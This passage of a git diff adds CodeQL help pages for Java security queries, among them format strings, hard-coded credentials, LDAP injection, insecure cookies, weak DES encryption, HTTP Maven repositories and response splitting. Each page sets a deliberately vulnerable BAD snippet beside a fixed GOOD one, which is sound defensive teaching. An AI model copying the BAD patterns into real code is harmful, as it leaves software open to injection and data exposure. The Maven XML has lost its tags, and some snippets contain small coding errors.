untrusted data passed to the Runtime.exec() method](https://www.securecoding.cert.org/confluence/display/java/IDS07-J.+Sanitize+untrusted+data+passed+to+the+Runtime.exec%28%29+method). +* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). +* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ExternallyControlledFormatString.md b/docs/language/query-help/java/ExternallyControlledFormatString.md new file mode 100644 index 00000000000..1b75d8ef28b --- /dev/null +++ b/docs/language/query-help/java/ExternallyControlledFormatString.md @@ -0,0 +1,66 @@ +# Use of externally-controlled format string + +``` +ID: java/tainted-format-string +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-134 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-134/ExternallyControlledFormatString.ql) + +The `String.format` method and related methods, like `PrintStream.printf` and `Formatter.format`, all accept a format string that is used to format the trailing arguments to the format call by providing inline format specifiers. If the format string contains unsanitized input from an untrusted source, then that string may contain extra format specifiers that cause an exception to be thrown or information to be leaked. + +The Java standard library implementation for the format methods throws an exception if either the format specifier does not match the type of the argument, or if there are too few or too many arguments. If unsanitized input is used in the format string, it may contain invalid extra format specifiers which cause an exception to be thrown. + +Positional format specifiers may be used to access an argument to the format call by position. Unsanitized input in the format string may use a positional format specifier to access information that was not intended to be visible. For example, when formatting a Calendar instance we may intend to print only the year, but a user-specified format string may include a specifier to access the month and day. + + +## Recommendation +If the argument passed as a format string is meant to be a plain string rather than a format string, then pass `%s` as the format string, and pass the original argument as the sole trailing argument. + + +## Example +The following program is meant to check a card security code for a stored credit card: + + +```java +public class ResponseSplitting extends HttpServlet { + protected void doGet(HttpServletRequest request, HttpServletResponse response) + throws ServletException, IOException { + Calendar expirationDate = new GregorianCalendar(2017, GregorianCalendar.SEPTEMBER, 1); + // User provided value + String cardSecurityCode = request.getParameter("cardSecurityCode"); + + if (notValid(cardSecurityCode)) { + + /* + * BAD: user provided value is included in the format string. + * A malicious user could provide an extra format specifier, which causes an + * exception to be thrown. Or they could provide a %1$tm or %1$te format specifier to + * access the month or day of the expiration date. + */ + System.out.format(cardSecurityCode + + " is not the right value. Hint: the card expires in %1$ty.", + expirationDate); + + // GOOD: %s is used to include the user-provided cardSecurityCode in the output + System.out.format("%s is not the right value. Hint: the card expires in %2$ty.", + cardSecurityCode, + expirationDate); + } + + } +} +``` +However, in the first format call it uses the cardSecurityCode provided by the user in a format string. If the user includes a format specifier in the cardSecurityCode field, they may be able to cause an exception to be thrown, or to be able to access extra information about the stored card expiration date. + +The second format call shows the correct approach. The user-provided value is passed as an argument to the format call. This prevents any format specifiers in the user provided value from being evaluated. + + +## References +* CERT Java Coding Standard: [IDS06-J. Exclude unsanitized user input from format strings](https://www.securecoding.cert.org/confluence/display/java/IDS06-J.+Exclude+unsanitized+user+input+from+format+strings). +* Java SE Documentation: [Formatting Numeric Print Output](https://docs.oracle.com/javase/tutorial/java/data/numberformat.html). +* Java API: [Formatter](https://docs.oracle.com/javase/8/docs/api/java/util/Formatter.html). +* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html). \ No newline at end of file diff --git a/docs/language/query-help/java/HardcodedCredentialsApiCall.md b/docs/language/query-help/java/HardcodedCredentialsApiCall.md new file mode 100644 index 00000000000..f3dc3b3e161 --- /dev/null +++ b/docs/language/query-help/java/HardcodedCredentialsApiCall.md @@ -0,0 +1,44 @@ +# Hard-coded credential in API call + +``` +ID: java/hardcoded-credential-api-call +Kind: path-problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-798 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-798/HardcodedCredentialsApiCall.ql) + +Including unencrypted hard-coded authentication credentials in source code is dangerous because the credentials may be easily discovered. For example, the code may be open source, or it may be leaked or accidentally revealed, making the credentials visible to an attacker. This, in turn, might enable them to gain unauthorized access, or to obtain privileged information. + + +## Recommendation +Remove hard-coded credentials, such as user names, passwords and certificates, from source code. Instead, place them in configuration files, environment variables or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access. + + +## Example +The following code example connects to a database using a hard-coded user name and password: + + +```java +private static final String p = "123456"; // hard-coded credential + +public static void main(String[] args) throws SQLException { + String url = "jdbc:mysql://localhost/test"; + String u = "admin"; // hard-coded credential + + getConn(url, u, p); +} + +public static void getConn(String url, String v, String q) throws SQLException { + DriverManager.getConnection(url, v, q); // sensitive call +} + +``` +Instead, the user name and password could be supplied through environment variables, which can be set externally without hard-coding credentials in the source code. + + +## References +* OWASP: [Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password). +* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ImproperValidationOfArrayConstruction.md b/docs/language/query-help/java/ImproperValidationOfArrayConstruction.md new file mode 100644 index 00000000000..f78677d552a --- /dev/null +++ b/docs/language/query-help/java/ImproperValidationOfArrayConstruction.md @@ -0,0 +1,63 @@ +# Improper validation of user-provided size used for array construction + +``` +ID: java/improper-validation-of-array-construction +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-129 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-129/ImproperValidationOfArrayConstruction.ql) + +Using unvalidated input when specifying the size of a newly created array can result in the creation of an array with size zero. If this array is subsequently accessed without further checks, an `ArrayIndexOutOfBoundsException` may be thrown, because there is no guarantee that the array is not empty. + +This problem occurs when user input is used as the size during array initialization, either directly or following one or more calculations. If the user input is unvalidated, it may cause the size of the array to be zero. + + +## Recommendation +The size used in the array initialization should be verified to be greater than zero before being used. Alternatively, the array access may be protected by a conditional check that ensures it is only accessed if the index is less than the array size. + + +## Example +The following program constructs an array with the size specified by some user input: + + +```java +public class ImproperValidationOfArrayIndex extends HttpServlet { + + protected void doGet(HttpServletRequest request, HttpServletResponse response) + throws ServletException, IOException { + try { + // User provided value + int numberOfItems = Integer.parseInt(request.getParameter("numberOfItems").trim()); + + if (numberOfItems >= 0) { + /* + * BAD numberOfItems may be zero, which would cause the array indexing operation to + * throw an ArrayIndexOutOfBoundsException + */ + String items = new String[numberOfItems]; + items[0] = "Item 1"; + } + + if (numberOfItems > 0) { + /* + * GOOD numberOfItems must be greater than zero, so the indexing succeeds. + */ + String items = new String[numberOfItems]; + items[0] = "Item 1"; + } + + } catch (NumberFormatException e) { } + } +} +``` +The first array construction is protected by a condition that checks if the user input is zero or more. However, if the user provides `0` as the `numberOfItems` parameter, then an empty array is created, and any array access would fail with an `ArrayIndexOutOfBoundsException`. + +The second array construction is protected by a condition that checks if the user input is greater than zero. The array will therefore never be empty, and the following array access will not throw an `ArrayIndexOutOfBoundsException`. + + +## References +* Java API: [ArrayIndexOutOfBoundsException](https://docs.oracle.com/javase/8/docs/api/java/lang/ArrayIndexOutOfBoundsException.html). +* Common Weakness Enumeration: [CWE-129](https://cwe.mitre.org/data/definitions/129.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ImproperValidationOfArrayIndex.md b/docs/language/query-help/java/ImproperValidationOfArrayIndex.md new file mode 100644 index 00000000000..8c3e03cb0b8 --- /dev/null +++ b/docs/language/query-help/java/ImproperValidationOfArrayIndex.md @@ -0,0 +1,64 @@ +# Improper validation of user-provided array index + +``` +ID: java/improper-validation-of-array-index +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-129 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-129/ImproperValidationOfArrayIndex.ql) + +Using unvalidated input as part of an index into the array can cause the array access to throw an `ArrayIndexOutOfBoundsException`. This is because there is no guarantee that the index provided is within the bounds of the array. + +This problem occurs when user input is used as an array index, either directly or following one or more calculations. If the user input is unsanitized, it may be any value, which could result in either a negative index, or an index which is larger than the size of the array, either of which would result in an `ArrayIndexOutOfBoundsException`. + + +## Recommendation +The index used in the array access should be checked against the bounds of the array before being used. The index should be smaller than the array size, and it should not be negative. + + +## Example +The following program accesses an element from a fixed size constant array: + + +```java +public class ImproperValidationOfArrayIndex extends HttpServlet { + + protected void doGet(HttpServletRequest request, HttpServletResponse response) + throws ServletException, IOException { + String[] productDescriptions = new String[] { "Chocolate bar", "Fizzy drink" }; + + // User provided value + String productID = request.getParameter("productID"); + try { + int productID = Integer.parseInt(userProperty.trim()); + + /* + * BAD Array is accessed without checking if the user provided value is out of + * bounds. + */ + String productDescription = productDescriptions[productID]; + + if (productID >= 0 && productID < productDescriptions.length) { + // GOOD We have checked that the array index is valid first + productDescription = productDescriptions[productID]; + } else { + productDescription = "No product for that ID"; + } + + response.getWriter().write(productDescription); + + } catch (NumberFormatException e) { } + } +} +``` +The first access of the `productDescriptions` array uses the user-provided value as the index without performing any checks. If the user provides a negative value, or a value larger than the size of the array, then an `ArrayIndexOutOfBoundsException` may be thrown. + +The second access of the `productDescriptions` array is contained within a conditional expression that verifies the user-provided value is a valid index into the array. This ensures that the access operation never throws an `ArrayIndexOutOfBoundsException`. + + +## References +* Java API: [ArrayIndexOutOfBoundsException](https://docs.oracle.com/javase/8/docs/api/java/lang/ArrayIndexOutOfBoundsException.html). +* Common Weakness Enumeration: [CWE-129](https://cwe.mitre.org/data/definitions/129.html). \ No newline at end of file diff --git a/docs/language/query-help/java/InfiniteLoop.md b/docs/language/query-help/java/InfiniteLoop.md new file mode 100644 index 00000000000..38603c4dd6d --- /dev/null +++ b/docs/language/query-help/java/InfiniteLoop.md @@ -0,0 +1,48 @@ +# Loop with unreachable exit condition + +``` +ID: java/unreachable-exit-in-loop +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-835 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-835/InfiniteLoop.ql) + +Loops can contain multiple exit conditions, either directly in the loop condition or as guards around `break` or `return` statements. If an exit condition cannot be satisfied, then the code is misleading at best, and the loop might not terminate. + + +## Recommendation +When writing a loop that is intended to terminate, make sure that all the necessary exit conditions can be satisfied and that loop termination is clear. + + +## Example +The following example shows a potentially infinite loop, since the inner loop condition is constantly true. Of course, the loop may or may not be infinite depending on the behavior of `shouldBreak`, but if this was intended as the only exit condition the loop should be rewritten to make this clear. + + +```java +for (int i=0; i<10; i++) { + for (int j=0; i<10; j++) { + // do stuff + if (shouldBreak()) break; + } +} + +``` +To fix the loop the condition is corrected to check the right variable. + + +```java +for (int i=0; i<10; i++) { + for (int j=0; j<10; j++) { + // do stuff + if (shouldBreak()) break; + } +} + +``` + +## References +* Java Language Specification: [Blocks and Statements](http://docs.oracle.com/javase/specs/jls/se8/html/jls-14.html). +* Common Weakness Enumeration: [CWE-835](https://cwe.mitre.org/data/definitions/835.html). \ No newline at end of file diff --git a/docs/language/query-help/java/InformationLoss.md b/docs/language/query-help/java/InformationLoss.md new file mode 100644 index 00000000000..6a8b110e398 --- /dev/null +++ b/docs/language/query-help/java/InformationLoss.md @@ -0,0 +1,33 @@ +# Implicit narrowing conversion in compound assignment + +``` +ID: java/implicit-cast-in-compound-assignment +Kind: problem +Severity: warning +Precision: very-high +Tags: reliability security external/cwe/cwe-190 external/cwe/cwe-192 external/cwe/cwe-197 external/cwe/cwe-681 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Likely%20Bugs/Arithmetic/InformationLoss.ql) + +Compound assignment statements of the form `x += y` or `x *= y` perform an implicit narrowing conversion if the type of `x` is narrower than the type of `y`. For example, `x += y` is equivalent to `x = (T)(x + y)`, where `T` is the type of `x`. This can result in information loss and numeric errors such as overflows. + + +## Recommendation +Ensure that the type of the left-hand side of the compound assignment statement is at least as wide as the type of the right-hand side. + + +## Example +If `x` is of type `short` and `y` is of type `int`, the expression `x + y` is of type `int`. However, the expression `x += y` is equivalent to `x = (short) (x + y)`. The expression `x + y` is cast to the type of the left-hand side of the assignment: `short`, possibly leading to information loss. + +To avoid implicitly narrowing the type of `x + y`, change the type of `x` to `int`. Then the types of `x` and `x + y` are both `int` and there is no need for an implicit cast. + + +## References +* J. Bloch and N. Gafter, *Java Puzzlers: Traps, Pitfalls, and Corner Cases*, Puzzle 9. Addison-Wesley, 2005. +* The Java Language Specification: [Compound Assignment Operators](http://docs.oracle.com/javase/specs/jls/se7/html/jls-15.html#jls-15.26.2), [Narrowing Primitive Conversion](http://docs.oracle.com/javase/specs/jls/se7/html/jls-5.html#jls-5.1.3). +* The CERT Oracle Secure Coding Standard for Java: [NUM00-J. Detect or prevent integer overflow](https://www.securecoding.cert.org/confluence/display/java/NUM00-J.+Detect+or+prevent+integer+overflow). +* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). +* Common Weakness Enumeration: [CWE-192](https://cwe.mitre.org/data/definitions/192.html). +* Common Weakness Enumeration: [CWE-197](https://cwe.mitre.org/data/definitions/197.html). +* Common Weakness Enumeration: [CWE-681](https://cwe.mitre.org/data/definitions/681.html). \ No newline at end of file diff --git a/docs/language/query-help/java/InsecureCookie.md b/docs/language/query-help/java/InsecureCookie.md new file mode 100644 index 00000000000..fcf5f9122a1 --- /dev/null +++ b/docs/language/query-help/java/InsecureCookie.md @@ -0,0 +1,46 @@ +# Failure to use secure cookies + +``` +ID: java/insecure-cookie +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-614 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-614/InsecureCookie.ql) + +Failing to set the 'secure' flag on a cookie can cause it to be sent in cleartext. This makes it easier for an attacker to intercept. + + +## Recommendation +Always use `setSecure` to set the 'secure' flag on a cookie before adding it to an `HttpServletResponse`. + + +## Example +This example shows two ways of adding a cookie to an `HttpServletResponse`. The first way leaves out the setting of the 'secure' flag; the second way includes the setting of the flag. + + +```java +public static void test(HttpServletRequest request, HttpServletResponse response) { + { + Cookie cookie = new Cookie("secret", "fakesecret"); + + // BAD: 'secure' flag not set + response.addCookie(cookie); + } + + { + Cookie cookie = new Cookie("secret", "fakesecret"); + + // GOOD: set 'secure' flag + cookie.setSecure(true); + response.addCookie(cookie); + } +} +``` + +## References +* The CERT Oracle Secure Coding Standard for Java: [SER03-J. Do not serialize unencrypted, sensitive data](https://www.securecoding.cert.org/confluence/display/java/SER03-J.+Do+not+serialize+unencrypted+sensitive+data). +* Java 2 Platform Enterprise Edition, v5.0, API Specifications: [Class Cookie](http://docs.oracle.com/javaee/5/api/javax/servlet/http/Cookie.html). +* Common Weakness Enumeration: [CWE-614](https://cwe.mitre.org/data/definitions/614.html). \ No newline at end of file diff --git a/docs/language/query-help/java/InsecureDependencyResolution.md b/docs/language/query-help/java/InsecureDependencyResolution.md new file mode 100644 index 00000000000..eb39908ba75 --- /dev/null +++ b/docs/language/query-help/java/InsecureDependencyResolution.md @@ -0,0 +1,135 @@ +# Failure to use HTTPS or SFTP URL in Maven artifact upload/download + +``` +ID: java/maven/non-https-url +Kind: problem +Severity: error +Precision: very-high +Tags: security external/cwe/cwe-300 external/cwe/cwe-319 external/cwe/cwe-494 external/cwe/cwe-829 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-829/InsecureDependencyResolution.ql) + +Using an insecure protocol like HTTP or FTP to download your dependencies leaves your Maven build vulnerable to a [Man in the Middle (MITM)](https://en.wikipedia.org/wiki/Man-in-the-middle_attack). This can allow attackers to inject malicious code into the artifacts that you are resolving and infect build artifacts that are being produced. This can be used by attackers to perform a [Supply chain attack](https://en.wikipedia.org/wiki/Supply_chain_attack) against your project's users. + +This vulnerability has a [ CVSS v3.1 base score of 8.1/10 ](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H&version=3.1). + + +## Recommendation +Always use HTTPS or SFTP to download artifacts from artifact servers. + + +## Example +These examples show examples of locations in Maven POM files where artifact repository upload/download is configured. The first shows the use of HTTP, the second shows the use of HTTPS. + + +```xml + + + + 4.0.0 + + com.semmle + parent + 1.0 + pom + + Security Testing + An example of insecure download and upload of dependencies + + + + insecure-releases + Insecure Repository Releases + + http://insecure-repository.example + + + insecure-snapshots + Insecure Repository Snapshots + + http://insecure-repository.example + + + + + insecure + Insecure Repository + + http://insecure-repository.example + + + + + insecure-plugins + Insecure Repository Releases + + http://insecure-repository.example + + + + +``` + +```xml + + + + 4.0.0 + + com.semmle + parent + 1.0 + pom + + Security Testing + An example of secure download and upload of dependencies + + + + insecure-releases + Secure Repository Releases + + https://insecure-repository.example + + + insecure-snapshots + Secure Repository Snapshots + + https://insecure-repository.example + + + + + insecure + Secure Repository + + https://insecure-repository.example + + + + + insecure-plugins + Secure Repository Releases + + https://insecure-repository.example + + + + +``` + +## References +* Research: [ Want to take over the Java ecosystem? All you need is a MITM! ](https://medium.com/bugbountywriteup/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb?source=friends_link&sk=3c99970c55a899ad9ef41f126efcde0e) +* Research: [ How to take over the computer of any Java (or Closure or Scala) Developer. ](https://max.computer/blog/how-to-take-over-the-computer-of-any-java-or-clojure-or-scala-developer/) +* Proof of Concept: [ mveytsman/dilettante ](https://github.com/mveytsman/dilettante) +* Additional Gradle & Maven plugin: [ Announcing nohttp ](https://spring.io/blog/2019/06/10/announcing-nohttp) +* Java Ecosystem Announcement: [ HTTP Decommission Artifact Server Announcements ](https://gist.github.com/JLLeitschuh/789e49e3d34092a005031a0a1880af99) +* Common Weakness Enumeration: [CWE-300](https://cwe.mitre.org/data/definitions/300.html). +* Common Weakness Enumeration: [CWE-319](https://cwe.mitre.org/data/definitions/319.html). +* Common Weakness Enumeration: [CWE-494](https://cwe.mitre.org/data/definitions/494.html). +* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html). \ No newline at end of file diff --git a/docs/language/query-help/java/IntMultToLong.md b/docs/language/query-help/java/IntMultToLong.md new file mode 100644 index 00000000000..3de141c4a3b --- /dev/null +++ b/docs/language/query-help/java/IntMultToLong.md @@ -0,0 +1,43 @@ +# Result of multiplication cast to wider type + +``` +ID: java/integer-multiplication-cast-to-long +Kind: problem +Severity: warning +Precision: very-high +Tags: reliability security correctness types external/cwe/cwe-190 external/cwe/cwe-192 external/cwe/cwe-197 external/cwe/cwe-681 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Likely%20Bugs/Arithmetic/IntMultToLong.ql) + +An integer multiplication that is assigned to a variable of type `long` or returned from a method with return type `long` may cause unexpected arithmetic overflow. + + +## Recommendation +Casting to type `long` before multiplying reduces the risk of arithmetic overflow. + + +## Example +In the following example, the multiplication expression assigned to `j` causes overflow and results in the value `-1651507200` instead of `4000000000000000000`. + + +```java +int i = 2000000000; +long j = i*i; // causes overflow +``` +In the following example, the assignment to `k` correctly avoids overflow by casting one of the operands to type `long`. + + +```java +int i = 2000000000; +long k = i*(long)i; // avoids overflow +``` + +## References +* J. Bloch and N. Gafter, *Java Puzzlers: Traps, Pitfalls, and Corner Cases*, Puzzle 3. Addison-Wesley, 2005. +* The Java Language Specification: [Multiplication Operator](http://docs.oracle.com/javase/specs/jls/se7/html/jls-15.html#jls-15.17.1). +* The CERT Oracle Secure Coding Standard for Java: [NUM00-J. Detect or prevent integer overflow](https://www.securecoding.cert.org/confluence/display/java/NUM00-J.+Detect+or+prevent+integer+overflow). +* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). +* Common Weakness Enumeration: [CWE-192](https://cwe.mitre.org/data/definitions/192.html). +* Common Weakness Enumeration: [CWE-197](https://cwe.mitre.org/data/definitions/197.html). +* Common Weakness Enumeration: [CWE-681](https://cwe.mitre.org/data/definitions/681.html). \ No newline at end of file diff --git a/docs/language/query-help/java/LdapInjection.md b/docs/language/query-help/java/LdapInjection.md new file mode 100644 index 00000000000..760de481db4 --- /dev/null +++ b/docs/language/query-help/java/LdapInjection.md @@ -0,0 +1,142 @@ +# LDAP query built from user-controlled sources + +``` +ID: java/ldap-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-090 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-090/LdapInjection.ql) + +If an LDAP query is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to run malicious LDAP queries. + + +## Recommendation +If user input must be included in an LDAP query, it should be escaped to avoid a malicious user providing special characters that change the meaning of the query. If possible build the LDAP query using framework helper methods, for example from Spring's `LdapQueryBuilder` and `LdapNameBuilder`, instead of string concatenation. Alternatively, escape user input using an appropriate LDAP encoding method, for example: `encodeForLDAP` or `encodeForDN` from OWASP ESAPI, `LdapEncoder.filterEncode` or `LdapEncoder.nameEncode` from Spring LDAP, or `Filter.encodeValue` from UnboundID library. + + +## Example +In the following examples, the code accepts an "organization name" and a "username" from the user, which it uses to query LDAP. + +The first example concatenates the unvalidated and unencoded user input directly into both the DN (Distinguished Name) and the search filter used for the LDAP query. A malicious user could provide special characters to change the meaning of these queries, and search for a completely different set of values. The LDAP query is executed using Java JNDI API. + +The second example uses the OWASP ESAPI library to encode the user values before they are included in the DN and search filters. This ensures the meaning of the query cannot be changed by a malicious user. + + +```java +import javax.naming.directory.DirContext; +import org.owasp.esapi.Encoder; +import org.owasp.esapi.reference.DefaultEncoder; + +public void ldapQueryBad(HttpServletRequest request, DirContext ctx) throws NamingException { + String organizationName = request.getParameter("organization_name"); + String username = request.getParameter("username"); + + // BAD: User input used in DN (Distinguished Name) without encoding + String dn = "OU=People,O=" + organizationName; + + // BAD: User input used in search filter without encoding + String filter = "username=" + userName; + + ctx.search(dn, filter, new SearchControls()); +} + +public void ldapQueryGood(HttpServletRequest request, DirContext ctx) throws NamingException { + String organizationName = request.getParameter("organization_name"); + String username = request.getParameter("username"); + + // ESAPI encoder + Encoder encoder = DefaultEncoder.getInstance(); + + // GOOD: Organization name is encoded before being used in DN + String safeOrganizationName = encoder.encodeForDN(organizationName); + String safeDn = "OU=People,O=" + safeOrganizationName; + + // GOOD: User input is encoded before being used in search filter + String safeUsername = encoder.encodeForLDAP(username); + String safeFilter = "username=" + safeUsername; + + ctx.search(safeDn, safeFilter, new SearchControls()); +} +``` +The third example uses Spring `LdapQueryBuilder` to build an LDAP query. In addition to simplifying the building of complex search parameters, it also provides proper escaping of any unsafe characters in search filters. The DN is built using `LdapNameBuilder`, which also provides proper escaping. + + +```java +import static org.springframework.ldap.query.LdapQueryBuilder.query; +import org.springframework.ldap.support.LdapNameBuilder; + +public void ldapQueryGood(@RequestParam String organizationName, @RequestParam String username) { + // GOOD: Organization name is encoded before being used in DN + String safeDn = LdapNameBuilder.newInstance() + .add("O", organizationName) + .add("OU=People") + .build().toString(); + + // GOOD: User input is encoded before being used in search filter + LdapQuery query = query() + .base(safeDn) + .where("username").is(username); + + ldapTemplate.search(query, new AttributeCheckAttributesMapper()); +} +``` +The fourth example uses `UnboundID` classes, `Filter` and `DN`, to construct a safe filter and base DN. + + +```java +import com.unboundid.ldap.sdk.LDAPConnection; +import com.unboundid.ldap.sdk.DN; +import com.unboundid.ldap.sdk.RDN; +import com.unboundid.ldap.sdk.Filter; + +public void ldapQueryGood(HttpServletRequest request, LDAPConnection c) { + String organizationName = request.getParameter("organization_name"); + String username = request.getParameter("username"); + + // GOOD: Organization name is encoded before being used in DN + DN safeDn = new DN(new RDN("OU", "People"), new RDN("O", organizationName)); + + // GOOD: User input is encoded before being used in search filter + Filter safeFilter = Filter.createEqualityFilter("username", username); + + c.search(safeDn.toString(), SearchScope.ONE, safeFilter); +} +``` +The fifth example shows how to build a safe filter and DN using the Apache LDAP API. + + +```java +import org.apache.directory.ldap.client.api.LdapConnection; +import org.apache.directory.api.ldap.model.name.Dn; +import org.apache.directory.api.ldap.model.name.Rdn; +import org.apache.directory.api.ldap.model.message.SearchRequest; +import org.apache.directory.api.ldap.model.message.SearchRequestImpl; +import static org.apache.directory.ldap.client.api.search.FilterBuilder.equal; + +public void ldapQueryGood(HttpServletRequest request, LdapConnection c) { + String organizationName = request.getParameter("organization_name"); + String username = request.getParameter("username"); + + // GOOD: Organization name is encoded before being used in DN + Dn safeDn = new Dn(new Rdn("OU", "People"), new Rdn("O", organizationName)); + + // GOOD: User input is encoded before being used in search filter + String safeFilter = equal("username", username); + + SearchRequest searchRequest = new SearchRequestImpl(); + searchRequest.setBase(safeDn); + searchRequest.setFilter(safeFilter); + c.search(searchRequest); +} +``` + +## References +* OWASP: [LDAP Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html). +* OWASP ESAPI: [OWASP ESAPI](https://owasp.org/www-project-enterprise-security-api/). +* Spring LdapQueryBuilder doc: [LdapQueryBuilder](https://docs.spring.io/spring-ldap/docs/current/apidocs/org/springframework/ldap/query/LdapQueryBuilder.html). +* Spring LdapNameBuilder doc: [LdapNameBuilder](https://docs.spring.io/spring-ldap/docs/current/apidocs/org/springframework/ldap/support/LdapNameBuilder.html). +* UnboundID: [Understanding and Defending Against LDAP Injection Attacks](https://ldap.com/2018/05/04/understanding-and-defending-against-ldap-injection-attacks/). +* Common Weakness Enumeration: [CWE-90](https://cwe.mitre.org/data/definitions/90.html). \ No newline at end of file diff --git a/docs/language/query-help/java/MaybeBrokenCryptoAlgorithm.md b/docs/language/query-help/java/MaybeBrokenCryptoAlgorithm.md new file mode 100644 index 00000000000..a6a9a51f529 --- /dev/null +++ b/docs/language/query-help/java/MaybeBrokenCryptoAlgorithm.md @@ -0,0 +1,44 @@ +# Use of a potentially broken or risky cryptographic algorithm + +``` +ID: java/potentially-weak-cryptographic-algorithm +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-327 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-327/MaybeBrokenCryptoAlgorithm.ql) + +Using broken or weak cryptographic algorithms can leave data vulnerable to being decrypted. + +Many cryptographic algorithms provided by cryptography libraries are known to be weak, or flawed. Using such an algorithm means that an attacker may be able to easily decrypt the encrypted data. + + +## Recommendation +Ensure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048. + + +## Example +The following code shows an example of using a java `Cipher` to encrypt some data. When creating a `Cipher` instance, you must specify the encryption algorithm to use. The first example uses DES, which is an older algorithm that is now considered weak. The second example uses AES, which is a strong modern algorithm. + + +```java +// BAD: DES is a weak algorithm +Cipher des = Cipher.getInstance("DES"); +cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec); + +byte[] encrypted = cipher.doFinal(input.getBytes("UTF-8")); + +// ... + +// GOOD: AES is a strong algorithm +Cipher des = Cipher.getInstance("AES"); + +// ... +``` + +## References +* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf). +* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf). +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/java/NettyResponseSplitting.md b/docs/language/query-help/java/NettyResponseSplitting.md new file mode 100644 index 00000000000..e155167ef9a --- /dev/null +++ b/docs/language/query-help/java/NettyResponseSplitting.md @@ -0,0 +1,72 @@ +# Disabled Netty HTTP header validation + +``` +ID: java/netty-http-response-splitting +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-113 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-113/NettyResponseSplitting.ql) + +Directly writing user input (for example, an HTTP request parameter) to an HTTP header can lead to an HTTP response-splitting vulnerability. If the user input includes blank lines in it, and if the servlet container does not itself escape the blank lines, then a remote user can cause the response to turn into two separate responses, one of which is controlled by the remote user. + + +## Recommendation +Guard against HTTP header splitting in the same way as guarding against cross-site scripting. Before passing any data into HTTP headers, either check the data for special characters, or escape any special characters that are present. + + +## Example +The following example shows the 'name' parameter being written to a cookie in two different ways. The first way writes it directly to the cookie, and thus is vulnerable to response-splitting attacks. The second way first removes all special characters, thus avoiding the potential problem. + + +```java +public class ResponseSplitting extends HttpServlet { + protected void doGet(HttpServletRequest request, HttpServletResponse response) + throws ServletException, IOException { + // BAD: setting a cookie with an unvalidated parameter + Cookie cookie = new Cookie("name", request.getParameter("name")); + response.addCookie(cookie); + + // GOOD: remove special characters before putting them in the header + String name = removeSpecial(request.getParameter("name")); + Cookie cookie2 = new Cookie("name", name); + response.addCookie(cookie2); + } + + private static String removeSpecial(String str) { + return str.replaceAll("[^a-zA-Z ]", ""); + } +} + +``` + +## Example +The following example shows the use of the library 'netty' with HTTP response-splitting verification configurations. The second way will verify the parameters before using them to build the HTTP response. + + +```java +import io.netty.handler.codec.http.DefaultHttpHeaders; + +public class ResponseSplitting { + // BAD: Disables the internal response splitting verification + private final DefaultHttpHeaders badHeaders = new DefaultHttpHeaders(false); + + // GOOD: Verifies headers passed don't contain CRLF characters + private final DefaultHttpHeaders goodHeaders = new DefaultHttpHeaders(); + + // BAD: Disables the internal response splitting verification + private final DefaultHttpResponse badResponse = new DefaultHttpResponse(version, httpResponseStatus, false); + + // GOOD: Verifies headers passed don't contain CRLF characters + private final DefaultHttpResponse goodResponse = new 